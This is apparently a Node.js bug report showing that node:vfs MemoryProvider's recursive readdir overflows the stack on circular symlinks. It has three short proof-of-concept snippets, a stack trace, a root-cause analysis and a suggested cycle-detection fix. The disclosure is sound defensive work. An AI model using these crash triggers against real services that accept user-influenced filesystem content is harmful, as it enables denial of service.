node:vfs MemoryProvider: readdirSync({recursive:true}) crashes via circular symlinks (stack overflow)

[jojin1709]

node:vfs MemoryProvider: readdirSync({recursive:true}) stack overflow via circular symlinks

Affected: node:vfs MemoryProvider (experimental)
Node version: v27.0.0-nightly20260625c5635b82c9
Flag required: --experimental-vfs

Summary

MemoryProvider#readdirSync with recursive: true crashes the Node.js process with a stack overflow (RangeError: Maximum call stack size exceeded) when the virtual filesystem contains circular symlinks. Both sync and async variants are affected. The process exits with code 1 when the error is uncaught.

Root Cause

The internal walk() function inside #readdirRecursive (memory.js ~line 643) follows symlinks to directories recursively but does not track visited paths or entries. This completely bypasses the kMaxSymlinkDepth = 40 guard that exists in #lookupEntry, causing unbounded recursion until the call stack is exhausted.

// walk() calls itself with no cycle detection:
if (resolvedChild.isDirectory()) {
 const childPath = pathPosix.join(currentPath, name);
 walk(resolvedChild, childPath, childRelative); // infinite if circular symlink
}

PoC 1 — Self-referential symlink

const vfs = require('node:vfs');
const mem = new vfs.MemoryProvider();
const sandbox = vfs.create(mem);

sandbox.mkdirSync('/dir');
sandbox.symlinkSync('/dir', '/dir/loop'); // /dir/loop -> /dir

// Crashes: RangeError: Maximum call stack size exceeded
sandbox.readdirSync('/', { recursive: true });

PoC 2 — Mutual circular chain (a -> b -> a)

const vfs = require('node:vfs');
const mem = new vfs.MemoryProvider();
const sandbox = vfs.create(mem);

sandbox.mkdirSync('/a');
sandbox.mkdirSync('/b');
sandbox.symlinkSync('/a', '/b/link_to_a');
sandbox.symlinkSync('/b', '/a/link_to_b');

// Also crashes
sandbox.readdirSync('/', { recursive: true });

PoC 3 — Async variant also affected

const vfs = require('node:vfs');
const mem = new vfs.MemoryProvider();
const sandbox = vfs.create(mem);

sandbox.mkdirSync('/dir');
sandbox.symlinkSync('/dir', '/dir/loop');

// Also crashes
sandbox.promises.readdir('/', { recursive: true })
 .catch(e => console.log(e.message)); // Maximum call stack size exceeded

Stack trace (uncaught)

node:path:1332

join(...args) {

^

RangeError: Maximum call stack size exceeded

at Object.join (node:path:1332:7)

at #lookupEntry (node:internal/vfs/providers/memory:315:31)

at walk (node:internal/vfs/providers/memory:643:43)

at walk (node:internal/vfs/providers/memory:650:11)

at walk (node:internal/vfs/providers/memory:650:11)

at walk (node:internal/vfs/providers/memory:650:11)

Suggested Fix

Track visited entries inside walk() to detect cycles:

const visited = new Set();
const walk = (entry, currentPath, relativePath) => {
 if (visited.has(entry)) return; // break cycle
 visited.add(entry);
 // ... rest of existing walk logic
};

Impact

Any application calling readdirSync or promises.readdir with recursive: true on a MemoryProvider that contains circular symlinks will crash the Node.js process. In server-side contexts where the VFS is user-influenced, this enables a Denial of Service. The existing kMaxSymlinkDepth guard does not protect against this code path.

Note: symlinkSync in MemoryProvider does not validate circular targets, making this easy to trigger.